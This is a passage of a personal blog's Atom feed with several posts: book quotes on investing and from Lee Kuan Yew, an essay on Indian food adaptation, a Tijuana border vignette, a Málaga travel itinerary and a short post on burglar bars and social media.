Being the only food shop inside an airport is a monopoly.
The only authentic item of its type is monpoly e.g. 
<a href="/travel/egypt/">Pyramids</a> or 
<a href="/all/french-polynesia-the-basics/">French Polynesia</a>.
In our age of consumer romanticism, people are willing to pay for unique experiences.
And that&rsquo;s why Coca-Cola can charge more than RC Cola.
Or Facebook followers are more valuable than say Pinterest followers.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/finance" term="finance" label="finance"/></entry><entry><title type="html">Selected quotes from "How I Invest My Money" by Joshua Brown</title><link href="https://ashishb.net/book-summary/how-i-invest-my-money/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/how-to-live/?utm_source=atom_feed" rel="related" type="text/html" title='Notable quotes from "How to Live" by Derek Sivers'/><link href="https://ashishb.net/book-summary/what-i-learned-losing-a-million-dollars-by-jim-paul/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: What I learned losing a million dollars by Jim Paul"/><link href="https://ashishb.net/book-summary/thinking-in-bets/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Thinking In Bets by Annie Duke"/><link href="https://ashishb.net/book-summary/the-half-life-of-facts/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: The half-life of Facts by Samuel Arbesman"/><link href="https://ashishb.net/book-summary/the-new-confessions-of-an-economic-hit-man/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: The New Confessions of an Economic Hit Man"/><id>https://ashishb.net/book-summary/how-i-invest-my-money/</id><author><name>Ashish Bhatia</name></author><published>2023-01-15T17:00:03+00:00</published><updated>2023-01-15T17:00:03+00:00</updated><content type="html"><![CDATA[<blockquote>Discover insights into investment choices and financial independence. Learn why actions, not words, reveal true intentions and explore key money philosophies.</blockquote><p>The reasons behind our portfolios and investment choices reveal a lot more about us than we might initially think. Half of all US mutual fund portfolio managers do not invest a cent of their own money in their funds, according to Morningstar. &quot;   
    
    
<a href="https://www.zocalopublicsquare.org/2011/11/30/how-doctors-die/ideas/nexus/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">How Doctors Die</a>” showed the degree to which doctors choose different end-of-life treatments for themselves than they recommend for their patients. This   
    
    
<a href="https://amzn.to/3qkxDA4?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">book</a> does the same for financial money managers.</p>
<p>“Don’t tell me what you think, tell me what you have in your portfolio.” - Nassim Nicholas Taleb.</p>
<ol>
<li>&ldquo;I did not intend to get rich. I just wanted to get independent.” - true success is exiting some rat race to modulate one’s activities for peace of mind.</li>
<li>Owning a house without a mortgage is the worst financial decision but the best money decision</li>
<li>At some point, you have to choose between being happy or being right.</li>
<li>If you’re confident in what you’re doing, then the last thing in the world you’re worried about is what other people are doing.</li>
<li>Humans generally lack courage more than genius, and persistence most of all. Accordingly, sticking with our financial plans is often more difficult than creating and implementing a good one.</li>
<li>It is healthy to have wants that go unfulfilled.</li>
<li>People spend far too much time trying to optimize every little thing, especially their portfolios. Once something is good enough, move on to more pressing issues.</li>
<li>Use Cash to provide optionality to take advantage of market dislocations or unexpected opportunities</li>
<li>Very few professional investors beat the market consistently, after accounting for the costs.</li>
<li>The performance of individual securities is unpredictable, period. The performance of portfolios of securities is unpredictable on any short-term basis; what is predictable is cash flow.</li>
<li>Holding onto losing investments (or allowing yourself to excessively focus on the losers) drags down your whole mental state, which is harmful in a variety of ways.</li>
<li>Money is a tool, to buy things and to hurt others.</li>
<li>The most important determinant of financial independence was not how much you save—it is how much you spend.</li>
<li>You can’t hang an ETF on your wall, drink it, or drive it!</li>
<li>By investing in people in the smallest ways, you can realize the biggest alpha.</li>
<li>One of the best investments you can make is paying for a solid prenup before getting married. Divorce, with kids involved, is crazy expensive and thus a very, very bad investment.</li>
<li>Wall Street is the only place where people driving a Toyota Camry to advise people with Bentley&rsquo;s on how to manage their money.</li>
<li>It’s natural that the longer any craftsman works in his trade, the less likely he is to enjoy or consume the thing he makes or deals with.</li>
<li>He who cares the least wins.</li>
<li>The greater the degree of government involvement in the provision of a good or service the greater the price increases over time, e.g., hospital and medical costs, college tuition, and childcare with both large degrees of government funding/regulation</li>
<li>Instead of money freeing them from concerns or anxieties, the rich have architected and decorated their prison with their wealth and they can’t escape for fear of losing it.</li>
<li>Have core positions that you have held for years and hope to hold for many more years.</li>
<li>When you look at the richest entrepreneurs in the world, you will quickly see a pattern: Their largest asset is the business they founded or company stock.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/></entry><entry><title type="html">Indians and food</title><link href="https://ashishb.net/misc/indians-and-food/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/misc/sometimes-the-middle-ground-is-most-empowering/?utm_source=atom_feed" rel="related" type="text/html" title="Sometimes the middle ground is most empowering"/><link href="https://ashishb.net/misc/capitalism-achilles-heel/?utm_source=atom_feed" rel="related" type="text/html" title="The Achilles heel of American capitalism"/><link href="https://ashishb.net/misc/punjabi-singers/?utm_source=atom_feed" rel="related" type="text/html" title="The science behind Punjabi singers"/><link href="https://ashishb.net/misc/statistical-outcomes-require-statistical-games/?utm_source=atom_feed" rel="related" type="text/html" title="Statistical outcomes require statistical games"/><link href="https://ashishb.net/misc/status-symbol/?utm_source=atom_feed" rel="related" type="text/html" title="Status Symbol"/><id>https://ashishb.net/misc/indians-and-food/</id><author><name>Ashish Bhatia</name></author><published>2023-01-08T17:00:01+00:00</published><updated>2023-01-08T17:00:01+00:00</updated><content type="html"><![CDATA[<blockquote>Discover how India&rsquo;s culinary creativity transforms global dishes into flavorful masterpieces, from spiced-up pizzas to aromatic masala tea and much more!</blockquote><p>One unique aspect of Indian culture is its desire to innovate in culinary.</p>
<p>Tomato was first introduced to India in the 16th century. Now, it is an integral part of Indian cooking and is used in ways most others cultures won&rsquo;t.</p>
<p>Tea was first introduced to India in the 18th century. Now, Indian tea, known as masala tea in the west, is an aromatic milk-heavy version of its original form.</p>
<p>In the 1970s, Indians Indianized Coca-Cola by adding spices and making it stronger but less sweet in taste. Now, it is exported to the birthplace of Coca-Cola.</p>
<p>As the Indian economy opened up in 1991, the pizza entered and soon got spiced up. Now, that&rsquo;s sold in the west as Desi pizza!</p>
<p>McDonald&rsquo;s spiced up its burgers. Nestle spiced up its noodles. Frito-lays spiced chips to make Kurkure which is also exported to the Indian diaspora outside India. Kellogg&rsquo;s failed to make cereals mainstream and is now forced to sell Upma!</p>
<p>In the meanwhile, Indians tinkered with and Indianized Chinese food to create a new cuisine known as Indo-Chinese in the west.</p>
<p>Similarly, Mayo became mainstream in the past 5 years or so. 100% eggless to avoid alienating the 40% lacto-vegetarian population. While I have no taste of original mayo to compare, I won&rsquo;t be surprised that the Indian version has more kick.</p>
<p>Now, Falafel and Baklava are becoming mainstream. I&rsquo;m sure that in about 5 years, I won&rsquo;t be surprised that the Indian version would look completely spiced up (and of course always eggless) layered with cumin, cardamom, saffron, black pepper, etc. simultaneously!</p>
<p>I have yet to come across a culture that improvises foreign food that much. One reason might be that Indian taste buds are so accustomed to multi-layer tastes that single-flavor dishes have little chance of succeeding with an average Indian. Think about it the next time you eat gulab jamun, it is sweet, with a hard shell, soft inside, and the pricey ones contain cooked cardamom at their core. Now, compare this to a western cookie.</p>
]]></content><category scheme="https://ashishb.net/category/misc" term="misc" label="misc"/></entry><entry><title type="html">Book Summary: One Man's View of the World by Lee Kuan Yew</title><link href="https://ashishb.net/book-summary/one-mans-view-of-the-world/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/singapore/?utm_source=atom_feed" rel="related" type="text/html" title="Singapore in 4 days"/><link href="https://ashishb.net/travel/royal-caribbean-cruise-in-singapore/?utm_source=atom_feed" rel="related" type="text/html" title="Royal Caribbean cruise in Singapore"/><link href="https://ashishb.net/travel/gorkhaland-west-bengal-and-sikkim/?utm_source=atom_feed" rel="related" type="text/html" title="5 days in Gorkhaland (West Bengal) and Sikkim"/><link href="https://ashishb.net/short-stories/ceylon-air-force-sanskrit/?utm_source=atom_feed" rel="related" type="text/html" title="Sanskrit and Sri Lankan Air Force"/><link href="https://ashishb.net/travel/hiking-mt-fuji/?utm_source=atom_feed" rel="related" type="text/html" title="Hiking Mt. Fuji"/><id>https://ashishb.net/book-summary/one-mans-view-of-the-world/</id><author><name>Ashish Bhatia</name></author><published>2022-12-23T17:00:25+00:00</published><updated>2022-12-23T17:00:25+00:00</updated><content type="html"><![CDATA[<blockquote>Explore Lee Kuan Yew&rsquo;s insights on global leadership, economics, and cultural dynamics in &ldquo;One Man&rsquo;s View of the World.&rdquo; Learn how Singapore became a global powerhouse.</blockquote><p>  
    
    
<a href="https://blog.naver.com/sujbites/223251658883?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener"><img alt="Featured in naver.com" loading="lazy" src="/img/naver-badge.svg"></a></p>
<p>  
    
    
<a href="https://amzn.to/3X3UDBQ?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">One Man&rsquo;s View of the World</a> is a book written in 2012 by Lee Kuan Yew.
Lee Kuan Yew is one of the most impressive leaders of the 21st century.
In 1965, Singapore was dejected from Malaysia for not being Malay enough.
In only a few decades, Lee Kuan Yew transformed Singapore into one of the richest countries in the world.</p>
<ul>
<li>Every country needs one language that everybody understands.</li>
<li>To be a leader, you must accept other people becoming rich because you are governing well!</li>
<li>The world is better off and will grow much more quickly under capitalism because the free market is the most efficient way of organizing the productive forces in any society, as history has proven. The world is a much better place now than before. By and large, less hungry people, and fewer unemployed people.</li>
<li>Alternative sources of energy like Solar and wind are too small and uncertain. They can play an important supplementary role but will never replace the traditional sources of energy. In the long run, many countries will slowly begin to find nuclear energy more attractive. The shale revolution may have pushed this further down the road, but the share of nuclear energy in the world’s total power output is likely to grow.</li>
<li>The threat of a global recession triggered by spiraling oil prices that confronted the world on so many occasions in the past is much reduced today.</li>
<li>Traveling overseas helps one widen their horizons. Countries develop. No country or city stays static.</li>
<li>Any real estate that you plant on the ground, belongs to the owner of the ground. So, relationships between the countries turn sour, the inter-country investments can be at risk.</li>
<li>As the women get an education, their mindsets change, they want to travel first, see the world, enjoy life, and marry later, by which time they will have trouble having children.</li>
<li>With technological advances, everybody today knows how everybody else lives. The poorest in Asia and Africa are keenly aware of just how poor they are compared to the Americans, Europeans as well as well-to-do Asians and Africans. This has encouraged legal and illegal migrants to try to cross national boundaries to get better jobs and living conditions in the countries that are wealthier and offer them more economic opportunities</li>
<li>Death should come as quickly and painlessly as possible, not with the body being incapacitated, half in a coma in bed, and with a tube going into the nostrils and down to the stomach. In such cases, one is little more than a body.</li>
</ul>
<h3 id="china">China</h3>
<ul>
<li>For 5,000 years, the Chinese have believed that the country is safe only when the center is strong. Culturally and historically, the belief in China is that a strong central authority leads to peace and prosperity. One man, one vote has never been in China and has never produced a prosperous China. And they’re not going to try it. In China, there is the rule of the leader. What the leader says is the law.</li>
<li>The length of China’s expressways grew from less than 100 km in 1988 to 74,000 km in 2010, second in the world only to the United States.</li>
<li>China is not suffering a brain drain to the same extent that India is.</li>
<li>China will never let go of Taiwan. Even if they lose the first round, they will come back for a second round, then a third round, and a fourth-round – incessantly, until they win. It’s not worth it for America. The Taiwanese will realize that over time if they have not already done so.</li>
<li>China will not be able to project power in the Indian Ocean. Nor will India succeed in projecting power into the Pacific Ocean.</li>
<li>Chinese are skillful in dealing with foreign countries, or foreign barbarians, for thousands of years, and they know how to play them one by one and prevent them from coalescing so they don’t have to face a group. They buy them off one at a time.</li>
<li>One day, China will regret its one-child policy.</li>
<li>When the resources of cheap labor are exhausted, the Chinese economy will slow down.</li>
</ul>
<h3 id="america">
<a href="/tag/usa/">America</a></h3>
<ul>
<li>You need a strong economy to project power – to fund the building of warships, aircraft, and military bases.</li>
<li>The success of America lies in its dynamic economy, sustained by an uncanny ability not just to produce the same with less, but to constantly innovate – that is, to invent completely new goods and services that the rest of the world soon finds to be useful and desirable.</li>
<li>There will be economic and technological contests, and talent is the key ingredient in those contests. And America leads in that.</li>
<li>Chinese is an extremely difficult language to learn. Further, in Chinese civilization, when the center is strong, the country prospers. And the country prospers because the center makes sure that everybody obeys the center. In America, it’s different. Nobody obeys Washington or New York. Anybody can start another center if they’ve got money.</li>
<li>Even Britain and France cannot match the Americans. In France, everyone who is bright ends up in the grandes écoles. In Britain, it is Oxbridge. These countries are relatively small, compact, and therefore more uniform.</li>
<li>If you want the competitiveness that America currently has, you cannot avoid creating a considerable gap between the top and the bottom, and the development of an underclass. If you choose instead the welfare state, as Europe did after the Second World War, you naturally become less dynamic.</li>
<li>Americans can never hope to put Afghanistan right. The Americans wanted to build a government from scratch in Iraq and democratize an ancient people. The former is near impossible, the latter is simply impossible.</li>
<li>The problem with the Americans is that they go in believing they have the power to change the system.</li>
<li>Some nations are like trees, they grow tall and straight, and they do not need support. And some nations are like creepers, they depend on a tree and they creep up the tree.</li>
</ul>
<h3 id="europe">
<a href="/tag/europe/">Europe</a></h3>
<ul>
<li>The Europeans, more or less all of them, from Kent to Naples and from Istanbul to Lisbon, have been brought up as Christians since almost 2,000 years ago. On the other hand, in their practical policies, they have fought one war after the other despite the Christian ideology. They have done the opposite of what they have been taught and what they have learned by heart. They’re ridiculous people.</li>
<li>Bitter years await Europe. As all the signs point to the impossibility of integration. The fundamental problem with the euro is that you cannot have monetary integration without fiscal integration. I am not convinced, therefore, that the euro can be saved, at least not in its present form, with all 17 countries remaining in the fold. European Union as an enterprise that was misconceived by too fast enlargement and likely to fail.</li>
<li>The first thing Europeans need is a common language and the rational choice is English as a second language for everybody.</li>
<li>If one were to keep accounts, that state in the United States might be running deficits for years – but it is a sustainable situation precisely because nobody is keeping accounts. The people living in that state are considered fellow Americans and the people living elsewhere do not actually expect the money to be repaid. It is effectively a gift.</li>
<li>The European welfare system promotes inefficiency and inaction. The welfare system &ldquo;generates its own demand&rdquo;.</li>
<li>The most pernicious effect of the welfare state, however, lies not in its inflexibility or its unaffordable nature but in the negative effect it has on the individual’s motivation to strive.</li>
<li>Seven of the top ten countries with the strictness of labor laws were also in the top ten in terms of high unemployment.</li>
<li>The Europeans are not as competitive as the Americans.</li>
<li>The welfare system has not produced scintillating results for the British.</li>
</ul>
<h3 id="japan">
<a href="/tag/japan/">Japan</a></h3>
<ul>
<li>The sense of teamwork in the Japanese workforce gives them an edge over other countries. The Koreans and the Chinese may be able to match them individually for individually. But team for team, the Japanese are unequaled.</li>
<li>The most serious challenge facing Japan is demographic.</li>
<li>Singapore’s problem with low birth rates is not dissimilar from Japan’s. But there is one key difference: Singapore shaded its problem with immigrants.</li>
<li>Foreigners currently make up less than 1.2 percent of all residents in Japan, compared to 6 percent in Britain, 8 percent in Germany, and 10 percent in Spain.</li>
</ul>
<h3 id="north-korea">North Korea</h3>
<ul>
<li>Far from being a socialist heaven-on-earth, North Korea is one of the worst-run countries in the world, failing even in the most basic of tasks, such as ensuring that the population is fed.</li>
<li>It is held together by a cult, and if the cult figure collapses – as is inevitable when you open up to the world and implement free-market reforms – the country will collapse.</li>
<li>In the end, it is your industrial capacity that determines your national strength, not the number of ships and guns you have.</li>
<li>While reunification is their long-term desire and eventual goal, the South Koreans have decided that the economic costs of a Korea reunited overnight – say, by mutual agreement – will be so horrendous to the South that it is preferable to delay it for the time being.</li>
<li>China wants a divided Korea as well. In general, you are in a more comfortable position when your neighbors remain fragmented.</li>
<li>Libya’s Muammar Gaddafi gave in to the West’s demands and got rid of his nuclear weapons, only to find that when a domestic uprising took place, there was nothing to restrain France and the United States from entering the fray to support the rebels. The Koreans are among the toughest of all the peoples in their region because Korea was where the invading hordes of Mongolia stopped. They had trouble crossing the waters to invade Japan and many just settled in Korea.</li>
</ul>
<h3 id="india">
<a href="/tag/india/">India</a></h3>
<ul>
<li>If you speak English, 200 million out of 1.2 billion people will be able to understand you. If you speak Hindi, you have the ears of about 500 million people. If you speak Tamil, you have only 60 million people or so. It is a great handicap for any prime minister of India because no single prime minister can speak all the languages.</li>
<li>The Chinese can bring out a seven-month-old fetus, as was reported in the news in September 2012. A heavily pregnant woman in Shaanxi province, Feng Jianmei, was forced to undergo an abortion because she had not sought official permission for her pregnancy. That&rsquo;s how the central system works. India simply does not have the will to even make such rules, let alone enforce them.</li>
<li>The caste system stratifies society. Supposing your society suddenly came up with a new rule that said university graduates cannot marry non-graduates without automatically losing social status, where would your society end up?</li>
<li>democracy is no magic potion. It does not solve all problems for all people.</li>
</ul>
<h3 id="malaysia">Malaysia</h3>
<ul>
<li>Malaysia’s race-based policies place the country at a disadvantage. It is voluntarily shrinking the talent pool needed to build the kind of society that makes use of talent from all races.</li>
<li>The second-generation kids of Indians and Chinese rush to Europe and the Americas away from race-based policies.</li>
<li>Malaysia is likely to make greater strides than Indonesia. It is more compact geographically. There is also better transportation and a more driven workforce.</li>
</ul>
<h3 id="indonesia">Indonesia</h3>
<ul>
<li>Suharto may have failed in corruption and nepotism. But history will also judge him on outcomes, which speak for themselves: he educated the people, grew the economy, and built roads and infrastructure.</li>
<li>The decentralization helped Indonesia a lot but shifting powers into the hands of the decision-makers.</li>
<li>Malaysia is more openly Islamic than Indonesia. There may be subtle changes taking place in Indonesia because of the influence of the Saudis.</li>
</ul>
<h3 id="vietnam">Vietnam</h3>
<ul>
<li>The Vietnamese are among the most capable and energetic people in Southeast Asia but they are still locked in the socialist mindset.</li>
<li>Vietnamese belief is that when you had an investor ambushed in a corner, it was your chance to squeeze as much out of him as you could.</li>
</ul>
<h3 id="singapore">
<a href="/tag/singapore/">Singapore</a></h3>
<ul>
<li>If Singapore does not take in immigrants and foreign workers, Singapore country would tank.</li>
<li>China or India can boost domestic consumption. Singapore can’t.</li>
<li>If, in the end, Singapore decides to move towards a two-party system, then we are destined for mediocrity. The biggest problem with the two-party system is that once it is in place, the best people will choose not to be in politics. Singapore is a small country with no natural resources and is in the middle of a region that has been volatile historically. Special leadership is required here.</li>
</ul>
<h3 id="middle-east">Middle East</h3>
<ul>
<li>the Middle East also lacks vital social factors that form the foundation on which democracy must stand.</li>
<li>the basic unit in the polity is not the citizen but the tribe.</li>
<li>The religious police have a deal with the royal family in Saudi Arabia: the latter gets to deal with the fortunes of the country while the former is almost assured free rein over all religious matters</li>
<li>In a place that produces suicide bombers who say, &ldquo;I want to die and I want more of you to die&rdquo;, anything can happen.</li>
</ul>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/><category scheme="https://ashishb.net/tag/singapore" term="singapore" label="singapore"/><category scheme="https://ashishb.net/tag/asia" term="asia" label="asia"/></entry><entry><title type="html">Freedom</title><link href="https://ashishb.net/short-stories/freedom/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/short-stories/virgin-mojito-hindi/?utm_source=atom_feed" rel="related" type="text/html" title="Virgin Mojito (हिंदी)"/><link href="https://ashishb.net/short-stories/souvenir-clothing/?utm_source=atom_feed" rel="related" type="text/html" title="Souvenir Clothing"/><link href="https://ashishb.net/short-stories/crowded-or-popular-exclusive-or-deserted/?utm_source=atom_feed" rel="related" type="text/html" title="Crowded or Popular? Exclusive or deserted?"/><link href="https://ashishb.net/short-stories/the-terrible-economics-of-a-restaurant/?utm_source=atom_feed" rel="related" type="text/html" title="The Terrible Economics of running a Restaurant"/><link href="https://ashishb.net/short-stories/empty-japan-crowded-tokyo/?utm_source=atom_feed" rel="related" type="text/html" title="Empty Japan, crowded Tokyo"/><id>https://ashishb.net/short-stories/freedom/</id><author><name>Ashish Bhatia</name></author><published>2022-12-17T17:00:39+00:00</published><updated>2022-12-17T17:00:39+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the contrasts at the Tijuana border: McDonald&rsquo;s represents the American Dream, while Mexico offers easy access to affordable, prescription-free medicine.</blockquote><p>The Tijuana border (between the US and Mexico) is one of the busiest land crossings in the world.</p>
<p>The first shop one sees on the American side is McDonald&rsquo;s.
What else can better characterize &ldquo;sueño Americano&rdquo; than unlimited soda refills (still for 1$!) and unlimited toilet paper.
Both of which, Mcdonald&rsquo;s on the Mexican side doesn&rsquo;t offer!</p>
<p>The first shop one sees on the Mexican side is a &ldquo;24-hour Pharmacy&rdquo; glowing in bright neon light.
It doesn&rsquo;t even say the Spanish equivalent, &ldquo;Farmacia 24 horas todos Los diás&rdquo; anywhere.
What else can characterize a dream come true for an American than to be able to buy life-saving medicines without having a prescription and for the price of Hershey&rsquo;s chocolates?</p>
]]></content><category scheme="https://ashishb.net/category/short-stories" term="short-stories" label="short-stories"/></entry><entry><title type="html">Málaga in 3 days</title><link href="https://ashishb.net/travel/malaga-spain/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/barcelona-spain/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Barcelona, Spain"/><link href="https://ashishb.net/travel/madrid-spain/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Madrid, Spain"/><link href="https://ashishb.net/travel/lisbon-portugal/?utm_source=atom_feed" rel="related" type="text/html" title="Four days in Lisbon, Portugal"/><link href="https://ashishb.net/travel/belgium/antwerp/?utm_source=atom_feed" rel="related" type="text/html" title="A day in Antwerp, Belgium"/><link href="https://ashishb.net/travel/belgium/brussels/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Brussels, Belgium"/><id>https://ashishb.net/travel/malaga-spain/</id><author><name>Ashish Bhatia</name></author><published>2022-12-08T17:00:29+00:00</published><updated>2022-12-08T17:00:29+00:00</updated><content type="html"><![CDATA[<blockquote>Ultimate 3-day itinerary for Málaga, Spain. What to do in Málaga if you can&rsquo;t or won&rsquo;t do water activities.</blockquote><p>Málaga, a port city in the south of Spain is known for its beautiful beaches.
We went there in December, so, this blog post will tell you what to do if you can&rsquo;t or won&rsquo;t do water activities.</p>
<figure>
    
    <a href="malaga-1-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="malaga-1-768x1024.jpg"
         alt="A street scene in Málaga, Spain, with people walking around shops and cafés, discussing non-water activities and cultural experiences such as visiting museums." width="900"/> </a>
</figure>

<h3 id="day-1---museums">Day 1 - Museums</h3>
<p>Málaga is the birthplace of Picasso.
So, a visit would be incomplete without a visit to the Picasso museum.
The entrance fee is 9 euros. And do take the free audio tour along with it.</p>
<figure>
    
    <a href="picasso-1-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="picasso-1-1024x768.jpg"
         alt="Picasso Museum" width="900"/> </a>
</figure>

<figure>
    
    <a href="picasso-2-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="picasso-2-768x1024.jpg"
         alt="Paintings by Picasso" width="900"/> </a>
</figure>

<p>I would also recommend the Málaga museum (1.5 Euro entrance ticket!),
it is extremely informative and tells you about the history of Málaga from the Phoenicians -&gt; 
<a href="/travel/rome-italy/">Romans</a> -&gt; Moors -&gt; Christians phases.</p>
<figure>
    
    <a href="malaga-museum-1-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="malaga-museum-1-1024x768.jpg"
         alt="A museum exhibit in Málaga details the history through different eras: Phoenicians, Romans, Moors, and Christians. An information panel provides context for visitors." width="900"/> </a>
</figure>

<h3 id="day-2---caminito-del-rey-royal-walk">Day 2 - Caminito Del Rey (Royal Walk)</h3>
<p>  
    
    
<a href="https://www.andalucia.com/province/malaga/el-chorro/caminito-del-rey.htm?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Caminito Del Rey</a> is an interesting hike about an hour from Málaga.
The hard part is getting there and getting back in time as the 
<a href="/travel/public-transport-guide/">trains</a> are infrequent.</p>
<p>First, you need to buy the ticket for   
    
    
<a href="https://www.caminitodelrey.info/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Caminito Del Rey</a> in advance (10 Euro without and 18 Euro with a guide).
Book for around 11 AM.</p>
<p>Then you need to get to El Chorro station using the   
    
    
<a href="https://www.renfe.com/es/es?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Renfe Train</a>.
The earliest train is at 8:45 AM, and it costs 6.25 Euro each way.
Once you reach El Chorro, go to the bus station on the left side. It would be tempting to start walking downwards,
but don&rsquo;t do that, go left and wait for the bus.
I made the mistake and missed the 10 AM bus. There is a bus every 30 minutes.
So, I took the next bus at 10:30 AM (for 1.55 euros). The bus drops you off where all the cars are parked.
I reached there at around 10:50 AM. And from there, walked 2.7 km to the ticketed entrance for Caminito Del Rey.
I reached the ticketed entrance around 11:25 AM. And then finished the rest of the 5 KM hike by 12:46 PM.
The hike finishes close to the El Chorro station, so, this gave me ample time for the 1:51 PM train (including buying the ticket online).
The next train was at 9 PM! Even though Google claims there is a train at 6 PM. And depending on which blog you read,
either the bus route to Málaga does not exist or is very convoluted.</p>
<p>The hike isn&rsquo;t scary if you have done hikes like 
<a href="/travel/yosemite-national-park/">Half Dome</a> or 
<a href="/travel/zion-national-park/">Angel&rsquo;s Landing</a>. It is fun and involved to get to.
The fear of missing the 2 PM train, made it less enjoyable.</p>
<figure>
    
    <a href="hike-1-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="hike-1-1024x768.jpg"
         alt="Caminito Del Rey hiking" width="900"/> </a>
</figure>

<figure>
    
    <a href="hike-2-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="hike-2-768x1024.jpg"
         alt="Caminito Del Rey hiking" width="900"/> </a>
</figure>

<figure>
    
    <a href="hike-3-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="hike-3-768x1024.jpg"
         alt="Caminito Del Rey hiking" width="900"/> </a>
</figure>

<h3 id="day-3---more-things-around-the-city">Day 3 - More things around the city</h3>
<p>Roman ruins of an amphitheater and a church (that&rsquo;s accessible for free around 6:30 PM), and beaches, in case you decide to visit.</p>
<figure>
    
    <a href="malaga-church-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="malaga-church-1024x768.jpg"
         alt="A Roman theatre is seen with ancient stone tiers, surrounded by greenery, highlighting its historical significance in an urban setting." width="900"/> </a>
</figure>

<figure>
    
    <a href="malaga-roman-theatre-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="malaga-roman-theatre-1024x768.jpg"
         alt="View of Malaga&#39;s Roman Theatre, an ancient stone amphitheater with seating steps, surrounded by modern city buildings and lush greenery." width="900"/> </a>
</figure>

<p>There are   
    
    
<a href="https://www.andalucia.org/en/la-cala-del-moral-cultural-tourism-cueva-del-tesoro?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">caves</a>. Sadly, we learn about the caves on the last day when it was too late to visit.</p>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/spain" term="spain" label="spain"/><category scheme="https://ashishb.net/tag/europe" term="europe" label="europe"/></entry><entry><title type="html">Social media and burglar bars</title><link href="https://ashishb.net/tech/social-media-and-burglar-bars/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/three-reasons-why-i-cant-stand-package-json/?utm_source=atom_feed" rel="related" type="text/html" title="5 reasons package.json doesn't scale"/><link href="https://ashishb.net/tech/why-i-prefer-obsidian-for-taking-notes/?utm_source=atom_feed" rel="related" type="text/html" title="Why I prefer Obsidian for taking notes"/><link href="https://ashishb.net/tech/some-thoughts-on-low-code/?utm_source=atom_feed" rel="related" type="text/html" title="Low code"/><link href="https://ashishb.net/tech/dont-buy-google-fi-with-a-phone/?utm_source=atom_feed" rel="related" type="text/html" title="Don't buy Google FI SIM with a phone"/><link href="https://ashishb.net/tech/outsourcing/?utm_source=atom_feed" rel="related" type="text/html" title="Why software outsourcing gets a bad reputation?"/><id>https://ashishb.net/tech/social-media-and-burglar-bars/</id><author><name>Ashish Bhatia</name></author><published>2022-11-30T17:00:00+00:00</published><updated>2022-11-30T17:00:00+00:00</updated><content type="html"><![CDATA[<blockquote>Explore how the presence of burglar bars in cities influences social dynamics and imagine if social media had emerged in such environments. Discover more insights!</blockquote><p>Houses in many major cities in Latin America have burglar bars.
So, is the case in India.
Very few cities in the US have burglar bars.</p>
<p>Modern social media was invented in north California with relatively little crime.
It is worth wondering, how difficult it would have looked if it was invented in a city where burglar bars are the norm.</p>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/></entry><entry><title type="html">Four days in Lisbon, Portugal</title><link href="https://ashishb.net/travel/lisbon-portugal/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/malaga-spain/?utm_source=atom_feed" rel="related" type="text/html" title="Málaga in 3 days"/><link href="https://ashishb.net/travel/belgium/antwerp/?utm_source=atom_feed" rel="related" type="text/html" title="A day in Antwerp, Belgium"/><link href="https://ashishb.net/travel/belgium/brussels/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Brussels, Belgium"/><link href="https://ashishb.net/travel/france/paris/?utm_source=atom_feed" rel="related" type="text/html" title="Three days in overhyped Paris"/><link href="https://ashishb.net/travel/warsaw-poland/?utm_source=atom_feed" rel="related" type="text/html" title="A short stay at Warsaw, Poland"/><id>https://ashishb.net/travel/lisbon-portugal/</id><author><name>Ashish Bhatia</name></author><published>2022-11-05T04:00:33+00:00</published><updated>2022-11-05T04:00:33+00:00</updated><content type="html"><![CDATA[<blockquote>Explore Lisbon&rsquo;s charming districts and stunning hilltop castles over four days. Discover timeless architecture, rich history, and vibrant 